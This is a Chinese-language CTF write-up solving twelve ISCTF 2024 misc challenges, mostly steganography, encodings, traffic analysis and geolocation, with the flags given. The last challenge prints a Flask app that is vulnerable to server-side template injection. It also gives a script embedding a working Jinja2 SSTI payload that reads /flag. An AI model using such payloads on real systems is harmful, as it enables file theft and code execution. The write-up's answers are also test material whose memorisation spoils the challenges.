1.老八奇怪自拍照
题目描述:这一天,温水看了一下八奈见杏菜发的自拍照,立马给老八打电话,温水对老八说,521,老八对温水说,等你这句话很久了,接下来我会把隐藏的东西都给你
这里打开附件,看到图片像素不太和谐,于是用stegslover打开查看一下是不是存在lsb隐写
题目描述中的521其实是提示,按照通道顺序521来选可以看到藏有有压缩包
save bin将其保存下来,用win11自带的资源管理器打开会报错,但是用banzip打开压缩包虽然会显示损坏但是可以正常进行解压
解压得到了一张jpg图片
这里发现了图片的不同之处
很明显是一个密码,然后这里的加密方式在描述中也有提示
接下来我会把隐藏的东西都给你
其实就是说的steghide,输入作者那行的密码后就会提取出flag.txt到工具目录下
.\steghide.exe extract -sf isctf.jpg -p 1ScTf2024!
选择y和得到flag.txt
查看得到flag,侥幸拿到一血
ISCTF{St4gs0lve_Rbg_S4eGh1de_H1de!!!}
2.秘密
压缩包为伪加密,将十六进制后的14 00 09
中的9改为0即可,注意需要改两处
解除伪加密后,将得到的图片用16进制打开搜索password得到密码ISCTF2024
因为题目描述为这是我们的秘密,所以对应的解密工具为oursecret,输入密码解密即可得到文件因为我使用的是notepad++,所以可以看到这些不可见字符,符合零宽字符隐写的特征
https://330k.github.io/misc_tools/unicode_steganography.html 解密得到flag
ISCTF{Nic3_t0_m33t_you}
3.奇怪的txt
题目描述:李华今天收到了一封奇怪的信,来信的人说他有很多玩偶,想使用一种方法将玩偶排序,他听说有一种方式是把一堆玩偶编号排成一个圈,假如从序号1开始,每当数到7时挑出这个玩偶,直到所有的玩偶都被挑选完毕,但是愚笨的他不知道这是什么意思,所以写信求助李华。假如你是李华,你能帮来信的人实现这个方法吗?
这是一个经典的约瑟夫环 问题
观察文件夹中的文件大小可以看到73.txt的大小是不同的,打开文件查看可以看到末尾有==
然后其它的文件都是可以进行base64解码的,所以这里猜测这里是需要按照题目描述的方式来将txt文件进行一个拼接,而且73.txt得是最后一个
我们写脚本来进行拼接,从1.txt开始,73.txt结束。
import os
def get_file_number(file_name):
""" 提取文件名中的数字部分 """ return int(file_name.split('.')[0])
def merge_files_in_josephus_order(target_file, k=7):
""" 按照约瑟夫环的顺序将文件合并到目标文件中 """ # 获取当前目录下所有txt文件,并按数字顺序排序
files = [f for f in os.listdir() if f.endswith('.txt')]
# 按文件名中的数字部分排序
files.sort(key=lambda x: get_file_number(x))
# 如果没有txt文件,返回
if not files:
print("没有找到txt文件!")
return
# 按照约瑟夫环顺序挑选文件
ordered_files = josephus_problem(files, k)
# 打开目标文件,准备写入
with open(target_file, 'w') as target:
for file in ordered_files:
print(f"正在处理文件: {file}")
with open(file, 'r') as f:
# 读取每个文件的内容并写入目标文件
content = f.read()
target.write(content + "\n") # 添加换行分隔文件内容
print(f"所有文件已按照约瑟夫环顺序合并到 {target_file} 中。")
def josephus_problem(files, k):
""" 根据约瑟夫环的规则返回一个文件顺序 """ result = []
index = 0
while files:
index = (index + k - 1) % len(files)
result.append(files.pop(index))
return result
# 调用函数,合并文件到目标文件'merged.txt'
merge_files_in_josephus_order('merged.txt')
由于之前对单一文件测试了,发现可以进行多次解码,所以这里应该是需要对拼接过后的文件进行多次解码才能得到flag
来写一个脚本来进行base64的循环解码
import base64
with open('merged.txt','r') as f:
contents = f.read()
i=0
while True:
try:
i += 1
contents = base64.b64decode(contents)
print(f"第{i}次解码")
except:
print(f"在第{i}次得到flag:{contents}")
break
在第51次解码得到了
4.少女的秘密花园
将附件图片分离,得到压缩包,压缩包里的内容为一个zip压缩包文件
文件内容需要爆破数字密码。
将txt文件中的内容进行base64解码后保存为png图片得到图片内容为盲文解密,
对应盲文一个一个进行替换,蓝色为字母,红色则为数字,最后的三个方块则为等于
得到
JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2===
这是base32编码,解码得到flag
ISCTF{C0me_0n_fr35hm3n}
5.神秘ping
题目描述:红队进了一个内鬼在传信息,你能发现传了什么信息吗
打开附件,直接改为pcap后缀打开发现不行
那就看看十六进制
拖到最后,不难发现这里的字节都是反过来的,看英文也知道那就再反转回去吧
with open("ping",'rb') as f: #以二进制的形式读取文件内容
content=f.read()
reverse_content=content[::-1]
with open("p1ng.pcap",'wb') as b: #以二进制写入
b.write(reverse_content)
这样就可以正常查看流量包了
这里需要知道
Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 其原理是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo回显 请求(Echo Request)报文,并根据回复的ICMP回显应答消息(Echo Reply),测试目的站是否可达并获取连接的丢包率和平均往返时间等有关状态信息
既然题目的名字叫神秘ping,我们就需要对ICMP流量进行分析
过滤一下这里的icmp流量的data以及length都没有奇怪的地方
然后看到这里的ttl符合ttl加密的特征
ttl加密可以参考
https://www.cnblogs.com/fishjumpriver/p/18013560
然后我们用命令将ICMP的ttl都提取出来
tshark -r capture.pcap -Y "icmp" -T fields -e ip.ttl > 1.txt
然后用脚本进行解密
f = open('out.txt', "r")
str = ''
Binary = ''
number = ''
while 1:
num = f.readline()
if not num:
break
if num.rstrip() == '63': # 去掉每行后面的空格
Binary = '00'
elif num.rstrip() == '64':
Binary = ''
elif num.rstrip() == '127':
Binary = '01'
elif num.rstrip() == '191':
Binary = '10'
elif num.rstrip() == '255':
Binary = '11'
str += Binary
for i in range(0, len(str), 8):
number += chr(int(str[i:i + 8], 2))
print(number)
这里需要将64设置为空字符串,或者用文本编辑器将所有的64删去
运行得到flag
ISCTF{h1De_1n_TtL}
6.赢!rar
题目描述:🐟神大半夜不睡觉给小秋发来了一个压缩包,笨笨的小秋翻完了所有文件都没找到flag,你能帮帮他么?
题目描述加上rar的压缩包,这已经提示到脸上是NTFS数据流隐写了
因为只有rar的压缩方式支持保存NTFS数据流
用NtfsStreamsEditor工具对解压后的文件夹进行搜索发现了flag.txt,如果没有的话,可能是没有用Winrar进行解压,其它的解压缩工具可能不支持或者会删掉NTFS流
将其导出
文件内容为
KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++
后面的++符号像是XXencode编码
当然我是随波逐流一把梭的ISCTF{Beat_SfTian!!!}
7.游园地1
题目描述:guoql之前出游,去了一处全国遍地都有的一个地方,你能帮我找到具体位置吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地},推荐使用百度地图得到结果,不需要写街道等,如可写为河南省_郑州市_二七区_二七广场(并非答案)
图片中有摩天轮,但是光凭这个还不能看出是哪,
这个时候放大图片可以看到怕旁边的牌子上面隐约有几个字不难看出这几个字是中山公园
然后将中山公园和摩天轮作为关键字来进行搜素,得到查看一下附近相册,基本符合图片中的细节。
所以flag即为
ISCTF{湖北省_武汉市_江汉区_中山公园}
8.游园地2
题目描述:guoql又双叒出去玩了,作为一个老二次元,他当然要去圣地巡礼,你能找到这是什么地点吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地_圣地巡礼对应的游戏名称},如黑神话悟空
这题还算比较有趣,看看附件很明显是一个街道,然后可以观察到旁边有一个叫山崎居酒屋的店铺。
位置很容易确定,因为可以直接搜索到店铺的信息
所以这里的位置就出来了,这个店现在已经改名为鸟胜碳火烧
湖北省_武汉市_江汉区_鸣笛1988商业街
但是这里还需要找到对应的游戏名称
既然位置已经很清晰了,那么就搜一搜武汉圣地巡礼
一开始看到很多关于三色绘恋,但是提交一直不对
然后去b站上面仔细看看圣地巡礼的视频
最后发现了这个地方对应了《恋爱绮谭》中的充能国安路
所以flag即为
ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭}
9.File_Format
这题还蛮有意思
题目描述:咦~ 小丽得到了一个文件,似乎只是套了一个壳子
打开附件后,用十六进制打开一看,好像是一个exe文件。
修改其后缀为exe尝试运行
这里是提取flag.txt文件,但是需要密码,那怎样才能获取这个密码呢
上网查一下发现Ace是一种压缩包格式.
那么题目的目的也不难发现了,我们可以通过binwalk来分离一下这个文件试试
分离后可以发现文件的大小明显少了一些
大概是binwalk没有识别到被压缩的flag.txt把压缩文件的数据给分离掉了。
我们将附件的后缀改为ace,拿去Advanced Archive Password Recovery里爆破
这里可以看到它是支持ace文件格式的
六位数字爆破得到密码
241023,再将附件改为exe,正常输入密码解压得到flag.txt
得到flag
ISCTF{WinACE_is_Easy_Subject_0v0}
10.starry sky
题目描述:抬头仰望天空,聆听来自宇宙的声音
打开附件可以看到一个图片,f1ag.txt,还有一个xor文件
图片不能正常查看,估计是有问题
将图片用记事本打开可以看到将前面的几个多余字符删除,然后全选去进行base64解码得到图片
推荐使用CyberChef这个工具来进行解码
保存图片为jpg,然后查看图片
图片上并没有什么有用的信息
来看看它的十六进制
在图片末尾发现了XORKEY:FF正好我们有一个叫Xor的文件
我们就利用它给出的key来进行异或操作
将xor文件用010打开,然后工具->十六进制运算->二进制异或
点击确定,然后可以看到进行异或操作后的文件的十六进制
很明显的wav文件头,将文件后缀修改为wav。
播放一下,发现是无线电的声音
我们用慢扫描电视来进行接收MMSSTV
选择RX->auto
然后用手机播放音频它就会自动识别然后进行输出
用手机播放给电脑麦克风的话可能会因为周边环境的影响导致图片不清晰
所以这里可以去安装一个虚拟声卡来进行操作,这样生成的图片会更加清晰
虚拟声卡:VirtualAudioCable
安装好后将输出和输入改成这样然后再播放wav文件即可得到
DES是一种加密方式,我们打开f1ag.txt将其中内容放到网站上去进行解密即可得到flag
ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}
11.watermark
题目描述:Do you understand watermarks?
解压压缩包得到一个带密码的压缩包和两个key文件,一个为txt,一个是图片
用vim查看key1.txt发现有很多零宽字符,尝试多次0宽字符隐写后无果
结合题目的名字,猜测为文本水印去下面这个网站进行提取
https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html
得到key1:FAAqDPjpgKJiB6m
key2为图片隐水印,直接可以用WaterMark工具解得key2将图片另存为再看会比较清晰
key2: 64oRvUfta9yJsBv
将两段key拼接在一起后解压压缩包即可
key:FAAqDPjpgKJiB6m64oRvUfta9yJsBv
解压缩后查看flag.txt文件,直接查找ISCTF{
字符串即可得到flag
ISCTF{Watermark_is_used_2_protect%digital*assets}
12.神秘wav
题目描述:神秘的网站解析神秘的wav
打开网站,将附件中的wav文件上传后得到一串base64编码
解码和得到/source
进入对应的url,得到源码
from flask import Flask, request, render_template, send_file, render_template_string
import wave
import os
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def ext(inp):
'''
希望你能自己搓出脚本
'''
with wave.open(inp, 'rb') as wav:
frames = wav.readframes(wav.getnframes())
frames_array = bytearray(frames)
message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]
message = ''
for i in range(0, len(message_bits), 8):
byte = message_bits[i:i+8]
char = chr(int(''.join(byte), 2))
if char == '\x00':
break
message += char
return message
@app.route('/', methods=['GET', 'POST'])
def upload_file():
'''
一位misc手在各个方向都要有所了解
'''
if request.method == 'POST':
file = request.files['file']
if file and file.filename.endswith('.wav'):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(filepath)
message = ext(filepath)
return render_template_string(message)
else:
return render_template_string("pls upload wav")
return render_template('upload.html')
@app.route('/source', methods=['GET'])
def get_source():
return send_file('app.py')
if __name__ == '__main__':
app.run(debug=True)
给出了提取wav文件中密文的方式
这里还需要一些代码审计的知识
return render_template_string(message)
这里用了模板渲染,说明存在模板注入
让ai写个加密脚本,把ssti攻击语句嵌入到wav文件中
import wave
def embedding_message(input_wav, output_wav, message):
'''
在WAV文件中嵌入消息,使用LSB嵌入法
''' # 打开原始WAV文件
with wave.open(input_wav, 'rb') as wav_in:
# 获取WAV文件的参数
n_channels = wav_in.getnchannels() # 声道数
sampwidth = wav_in.getsampwidth() # 采样宽度
framerate = wav_in.getframerate() # 采样率
n_frames = wav_in.getnframes() # 总帧数
# 读取WAV文件的帧数据
frames = wav_in.readframes(n_frames)
# 将帧数据转化为字节数组
frames_array = bytearray(frames)
# 将消息转换为二进制字符串
message_bits = ''.join(format(ord(c), '08b') for c in message)
message_bits += '00000000' # 添加结束符 \x00
# 检查消息是否适合嵌入
if len(message_bits) > len(frames_array):
print("Message is too long to embed.")
return
# 在帧数据中嵌入消息
for i in range(len(message_bits)):
frames_array[i] = (frames_array[i] & 0xFD) | (int(message_bits[i]) << 1)
# 输出嵌入数据后的WAV文件
with wave.open(output_wav, 'wb') as wav_out:
wav_out.setnchannels(n_channels)
wav_out.setsampwidth(sampwidth)
wav_out.setframerate(framerate)
wav_out.writeframes(frames_array)
print(f"Message embedded successfully in {output_wav}")
if __name__ == '__main__':
input_wav = 'input.wav' # 输入的WAV文件
output_wav = 'output.wav' # 输出的WAV文件
message = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag','r').read() }}{% endif %}{% endfor %}" # 要嵌入的消息
embedding_message(input_wav, output_wav, message)
写入后上传文件即可得到flag